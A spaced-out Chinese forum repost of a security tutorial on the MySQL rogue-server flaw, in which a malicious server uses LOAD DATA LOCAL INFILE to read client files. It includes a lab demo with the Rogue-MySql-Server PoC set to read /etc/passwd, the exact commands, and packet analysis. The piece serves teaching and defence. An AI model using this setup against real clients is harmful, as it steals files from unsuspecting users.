搜索

[18546] 2021-04-14_MySQL服务端恶意读取客户端任意文件漏洞

文档创建者：s7ckTeam
浏览次数：9
最后更新：2025-01-18
2021-04-14_MySQL服务端恶意读取客户端任意文件漏洞 M y S Q L   服 务 端 恶 意 读 取 客 户 端 任 意 文 件 漏 洞 原 创   W H O A M I   H A C K 学 习 呀   2 0 2 1 - 0 4 - 1 4 前 言 前 言 L O A D   D A T A   I N F I L E 漏 洞 原 理 漏 洞 演 示 抓 包 分 析 实 战 中 的 利 用 读 取 敏 感 信 息 制 作 M y S Q L 蜜 罐 E n d i n g . . . . . 前 言 前 言
在 昨 天 （ 2 0 2 1 年 4 月 1 1 号 ） ， 云 舒 大 佬 发 了 一 个 微 博 ， 疑 似 有 人 在 在 F r e e b u f 上 发 了 一 篇 带 有 蜜 罐 的 文 章 ， 代 码 里 面 有 M y S Q L 帐 号 和 密 码 。 经 云 舒 大 佬 连 接 测 试 后 ， 发 现 这 个 M y S Q L 服 务 器 会 读 取 连 接 它 的 客 户 端 上 的 文 件 。 其 实 这 个 蜜 罐 利 用 的 原 理 是 一 个 很 有 趣 的 t r i c k ， 原 理 在 于 M y S Q L 服 务 端 可 以 利 用 命 令 来 读 取 M Y S Q L 客 户 端 的 任 意 文 件 。 这 应 该 是 一 个 很 早 以 前 就 爆 出 来 的 漏 洞 ， 当 年   T C T F 2 0 1 8   f i n a l   线 下 赛 的 比 赛 中 ， D r a g o n   S e c t o r   和   C y k o r   就 是 用 这 个 漏 洞 来 非 预 期 了   h 4 x 0 r ' s   c l u b   这 道 题 。 L O A D   D A T A   I N F I L E 语 句 用 于 高 速 地 从 一 个 文 本 文 件 中 读 取 行 ， 并 写 入 一 个 表 中 。 文 件 名 称 必 须 为 一 个 文 字 字 符 串 。 是 的 相 对 语 句 。 把 表 的 数 据 备 份 到 文 件 使 用 ， 从 备 份 文 件 恢 复 表 数 据 ， 使 用 。 标 准 示 例 ： 第 一 行 是 读 取 服 务 端 本 地 的 文 件 ， 第 二 行 是 读 取 客 户 端 本 地 的 文 件 。 如 下 所 示 ， 我 们 读 取 客 户 端 本 地 的 d a t a . c s v 文 件 到 服 务 端 数 据 库 的 T e s t T a b l e 表 中 ： L O A D   D A T A   L O C A L L O A D   D A T A   I N F I L E L O A D   D A T A   I N F I L E S E L E C T   . . .   I N T O   O U T F I L E S E L E C T   . . .   I N T O   O U T F I L E L O A D   D A T A   I N F I L E l o a d   d a t a   i n f i l e   " / d a t a / d a t a . c s v "   i n t o   t a b l e   T e s t T a b l e ; l o a d   d a t a   l o c a l   i n f i l e   " / d a t a / t e s t . c s v "   i n t o   t a b l e   T e s t T a b l e ;
i m a g e - 2 0 2 1 0 4 1 2 1 0 4 4 5 7 4 3 2 除 了 c s v 文 件 ， 我 们 还 可 以 读 取 任 意 格 式 的 文 件 到 表 中 ： i m a g e - 2 0 2 1 0 4 1 2 1 0 4 7 4 2 8 6 2 如 上 图 所 示 ， 我 们 成 功 将 客 户 端 上 的 / e t c / p a s s w d 文 件 读 取 到 了 服 务 端 M y S Q L 的 数 据 表 中 。 很 显 然 ， l o a d   d a t a   l o c a l   i n f i l e   " / t m p / d a t a . c s v "   i n t o   t a b l e   T e s t T a b l e   F I E L D S   T E R M I N A T E D   B Y   ' , ' ; l o a d   d a t a   l o c a l   i n f i l e   " / e t c / p a s s w d "   i n t o   t a b l e   T e s t T a b l e   F I E L D S   T E R M I N A T E D   B Y   ' n ' ;
这 个 语 句 是 不 安 全 的 ， 在 M y S Q L 的 官 方 文 档 里 也 充 分 说 明 了 这 一 点 ： h t t p s : / / d e v . m y s q l . c o m / d o c / m y s q l - s e c u r i t y - e x c e r p t / 5 . 7 / e n / l o a d - d a t a - l o c a l - s e c u r i t y . h t m l i m a g e - 2 0 2 1 0 4 1 2 1 0 5 2 3 7 7 7 7 其 大 致 意 思 如 下 ： 因 为 是 S Q L 语 句 ， 其 执 行 是 在 服 务 器 端 进 行 的 ， 并 且 文 件 从 客 户 端 主 机 到 服 务 器 主 机 的 传 输 是 由 M y S Q L 服 务 器 启 动 的 ， M y S Q L 服 务 端 将 告 诉 客 户 端 该 语 句 中 命 名 的 文 件 。 从 理 论 上 讲 ， 打 补 丁 的 服 务 器 可 以 告 诉 客 户 端 程 序 传 输 服 务 器 选 择 的 任 何 文 件 ， 而 不 是 语 句 中 命 名 的 文 件 。 这 样 的 服 务 器 可 以 访 问 客 户 端 用 户 具 有 读 取 权 限 的 客 户 端 主 机 上 的 任 何 文 件 。 下 面 ， 我 们 就 围 绕 这 个 点 所 产 生 的 漏 洞 进 行 详 细 的 分 析 。 漏 洞 原 理 漏 洞 原 理 该 漏 洞 的 核 心 原 理 在 于 M y S Q L 服 务 端 可 以 利 用 命 令 来 读 取 M Y S Q L 客 户 端 的 任 意 文 件 。 M y S Q L 客 户 端 和 服 务 端 在 通 信 过 程 中 是 通 过 对 话 的 形 式 来 实 现 的 ， 客 户 端 发 送 一 个 操 作 请 求 ， 然 后 服 务 端 根 据 客 服 端 发 送 的 请 求 来 响 应 客 户 端 。 在 这 个 过 程 中 ， 如 果 客 户 端 的 一 个 操 作 需 要 两 步 请 求 才 能 完 成 ， 那 么 当 它 发 送 完 第 一 个 请 求 过 后 并 不 会 存 储 这 个 请 求 ， 而 是 直 接 就 丢 掉 了 ， 所 以 第 二 步 就 是 根 据 服 务 端 的 响 应 来 继 续 进 行 ， 这 里 服 务 端 就 可 以 欺 骗 客 户 端 做 一 些 其 他 的 事 情 。 但 是 一 般 的 M y S Q L 客 户 端 和 服 务 端 通 信 都 是 客 服 端 发 送 一 个 M y S Q L 语 句 然 后 服 务 端 根 据 这 条 语 句 查 询 后 返 回 结 果 ， 没 有 什 么 可 以 利 用 的 。 不 过 我 们 前 面 说 了 ， M y S Q L 有 个 命 令 ， 可 以 读 取 一 个 文 件 内 容 并 插 入 到 表 中 。 如 下 ， 当 M y S Q L 客 户 端 以 下 执 行 L O A D   D A T A   I N F I L E L O A D   D A T A   L O C A L L O A D   D A T A   L O C A L L O A D   D A T A   I N F I L E L O A D   D A T A   I N F I L E
命 令 后 ： M y S Q L 客 户 端 与 服 务 端 的 交 互 可 以 表 示 为 一 下 对 话 ： 1 .   客 户 端 ： 把 我 我 本 地 / d a t a / t e s t . c s v 的 内 容 插 入 到 T e s t T a b l e 表 中 去 2 .   服 务 端 ： 请 把 你 本 地 / d a t a / t e s t . c s v 的 内 容 发 送 给 我 3 .   客 户 端 ： 好 的 ， 这 是 我 本 地 / d a t a / t e s t . c s v 的 内 容 ： . . . . 4 .   服 务 端 ： 成 功 / 失 败 正 常 情 况 下 这 个 流 程 是 没 毛 病 的 ， 但 是 前 面 我 说 了 客 户 端 在 第 二 次 并 不 知 道 它 自 己 前 面 发 送 了 什 么 给 服 务 器 ， 所 以 客 户 端 第 二 次 要 发 送 什 么 文 件 完 全 取 决 于 服 务 端 ， 如 果 这 个 服 务 端 不 正 常 ， 就 有 可 能 发 生 如 下 对 话 ： 1 .   客 户 端 ： 把 我 我 本 地 / d a t a / t e s t . c s v 的 内 容 插 入 到 T e s t T a b l e 表 中 去 2 .   服 务 端 ： 请 把 你 本 地 / e t c / p a s s w d 的 内 容 发 送 给 我 3 .   客 户 端 ： 好 的 ， 这 是 我 本 地 / e t c / p a s s w d 的 内 容 ： . . . . 4 .   服 务 端 ： . . . . 随 意 了 这 样 服 务 端 就 非 法 拿 到 了 的 文 件 内 容 。 今 天 我 要 实 现 的 就 是 做 一 个 伪 服 务 端 来 欺 骗 善 良 的 客 户 端 获 得 客 户 端 主 机 上 任 意 文 件 的 过 程 。 M y S Q L   官 方 文 档 中 有 一 句 话 是 这 样 说 的 ： " A   p a t c h e d   s e r v e r   c o u l d   i n   f a c t   r e p l y   w i t h   a   f i l e - t r a n s f e r   r e q u e s t   t o   a n y   s t a t e m e n t ,   n o t   j u s t   L O A D   D A T A   L O C A L " 意 思 就 是 ， 伪 造 的 服 务 端 可 以 在 任 何 时 候 回 复 一 个   f i l e - t r a n s f e r   请 求 进 行 客 户 端 与 服 务 端 之 间 的 文 件 传 输 ， 不 一 定 非 要 是 在 的 时 候 。 总 结 一 下 漏 洞 的 成 因 ： 读 哪 个 文 件 是 由 服 务 端 返 回 包 的   f i l e - t r a n s f e r   请 求 决 定 ， 而 不 是 客 户 端 。 2 .   不 管 客 户 端 发 出 什 么 请 求 ， 只 要 服 务 端 回 复 一 个   f i l e - t r a n s f e r   请 求 ， 客 户 端 就 会 按 照 的 流 程 读 取 文 件 内 容 发 给 服 务 端 总 结 一 下 整 个 攻 击 流 程 ： 1 .   受 害 者 向 攻 击 者 提 供 的 服 务 器 发 起 请 求 ， 并 尝 试 进 行 身 份 认 证 2 .   攻 击 者 的 M y S Q L 接 受 到 受 害 者 的 连 接 请 求 ， 攻 击 者 发 送 正 常 的 问 候 、 身 份 验 证 正 确 ， 并 且 向 受 害 者 的 M y S Q L 客 户 端 请 求 文 件 。 3 .   受 害 者 的 M y S Q L 客 户 端 认 为 身 份 验 证 正 确 ， 执 行 攻 击 者 的 发 来 的 请 求 ， 通 过 功 能 将 文 件 内 容 发 送 回 攻 击 者 的 M y S Q L 服 务 器 。 l o a d   d a t a   l o c a l   i n f i l e   " / d a t a / t e s t . c s v "   i n t o   t a b l e   T e s t T a b l e ; / e t c / p a s s w d L O A D   D A T A   L O C A L 1 .   L O A D   D A T A   I N F I L E L O A D   D A T A   I N F I L E L O A D   D A T A   I N L I N E
4 .   攻 击 者 收 到 受 害 者 服 务 器 上 的 信 息 ， 读 取 文 件 成 功 ， 攻 击 完 成 。 漏 洞 演 示 漏 洞 演 示 一 些 M y s q l 客 户 端 ， 比 如 P y t h o n 的 M y S Q L d b 和 m y s q l c l i e n t ， P H P 的 m y s q l i 和 P D O ， J a v a 的 J D B C   D r i v e r 以 及 原 生 M y S Q L 客 户 端 等 ， 在 连 接 M y S Q L 的 时 候 ， 基 本 上 在 连 接 成 功 之 后 都 会 发 出 一 些   S E L E C T   语 句 来 查 询 一 些 版 本 号 、 编 码 之 类 的 数 据 ， 这 时 就 可 以 回 复 一 个   f i l e - t r a n s f e r   请 求 来 利 用 该 漏 洞 ， 读 取 客 户 端 上 的 文 件 。 这 里 有 一 点 要 说 明 的 是 ， 如 果 想 要 利 用 此 特 性 ， 客 户 端 必 须 具 有 属 性 ， 所 以 可 能 要 在 连 接 服 务 端 的 时 候 添 加 选 项 。 以 下 是 本 次 实 验 的 测 试 环 境 。 攻 击 机 （ 服 务 端 ） ： K a l i   L i n u x 1 9 2 . 1 6 8 . 4 3 . 2 4 7 受 害 机 （ 客 户 端 ） ： U b u n t u 1 9 2 . 1 6 8 . 4 3 . 8 2 首 先 下 载 大 佬 写 好 的 P O C 脚 本   R o g u e - M y S q l - S e r v e r ， 找 到   r o g u e _ m y s q l _ s e r v e r . p y   脚 本 的 第 2 6 行 处 的 元 组 ： C L I E N T _ L O C A L _ F I L E S - - e n a b l e - l o c a l - i n f i l e f i l e l i s t
i m a g e - 2 0 2 1 0 4 0 7 1 6 3 9 3 4 1 4 1 元 组 里 面 为 要 读 取 的 受 害 者 主 机 上 的 文 件 地 址 （ 读 W i n d o w s 文 件 时 注 意 路 径 ） 。 然 后 在 攻 击 机 （ 服 务 端 ） 上 执 行 r o g u e _ m y s q l _ s e r v e r . p y 脚 本 ： i m a g e - 2 0 2 1 0 4 0 7 1 6 4 1 5 8 6 5 3 然 后 ， 我 们 控 制 受 害 机 （ 客 户 端 ） 连 接 我 们 当 才 在 攻 击 机 上 搭 建 的 恶 意 服 务 端 ： i m a g e - 2 0 2 1 0 4 0 7 1 7 5 4 4 7 8 5 4 当 客 户 端 连 上 攻 击 机 搭 建 的 服 务 端 瞬 间 ， 服 务 端 便 可 以 读 取 到 受 害 机 客 户 端 上 的 / e t c / p a s s w d ， 并 记 录 到   R o g u e - M y S q l - S e r v e r   中 的 日 志 文 件 中 ： f i l e l i s t p y t h o n   r o g u e _ m y s q l _ s e r v e r . p y m y s q l   - h 1 9 2 . 1 6 8 . 4 3 . 2 4 7   - u r o o t   - p   - - e n a b l e - l o c a l - i n f i l e
i m a g e - 2 0 2 1 0 4 0 7 1 7 0 9 0 4 2 1 9 漏 洞 利 用 成 功 。 抓 包 分 析 抓 包 分 析 下 面 是 整 个 攻 击 过 程 的 w i r e s h a r k 抓 包 分 析 。 我 们 在 客 户 端 （ 1 ） 客 户 端 连 接 上 攻 击 者 伪 造 的 服 务 端 瞬 间 ， 服 务 端 会 向 客 户 端 发 送   " G r e e t i n g "   数 据 包 ， 服 务 端 返 回 的 b a n n e r ， 其 中 包 含 M y S Q L 的 版 本 等 信 息 ：
i m a g e - 2 0 2 1 0 4 1 2 1 1 0 9 1 8 5 2 2 （ 2 ） 然 后 客 户 端 向 服 务 端 发 送 M y S Q L 登 录 请 求 ： i m a g e - 2 0 2 1 0 4 1 2 1 1 1 0 5 2 8 5 4 （ 3 ） 登 录 时 候 ， 客 户 端 会 进 行 一 些   S E L E C T   初 始 化 查 询 ， 一 些 版 本 号 、 编 码 之 类 的 数 据 等 ：
i m a g e - 2 0 2 1 0 4 1 2 1 1 1 4 1 0 5 0 0 （ 4 ） 之 后 就 是 执 行       语 句 进 行 文 件 传 输 了 ： i m a g e - 2 0 2 1 0 4 1 2 1 1 1 8 3 2 0 6 3 L O A D   D A T A   L O C A L
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理